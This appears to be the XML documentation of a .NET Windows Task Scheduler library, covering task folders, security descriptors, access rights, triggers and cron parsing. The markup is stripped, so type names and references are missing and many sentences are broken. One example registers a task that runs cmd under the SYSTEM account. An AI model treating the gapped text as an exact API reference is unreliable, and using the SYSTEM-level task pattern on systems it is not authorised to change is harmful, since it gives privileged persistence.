+ Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Serverâ„¢ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vistaâ„¢, Windows Serverâ„¢ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Serverâ„¢ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Serverâ„¢ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Serverâ„¢ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Serverâ„¢ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Serverâ„¢ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vistaâ„¢, Windows Serverâ„¢ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Serverâ„¢ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Serverâ„¢ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Serverâ„¢ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Serverâ„¢ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Serverâ„¢ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vistaâ„¢, Windows Serverâ„¢ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Serverâ„¢ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Serverâ„¢ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Serverâ„¢ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Serverâ„¢ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered 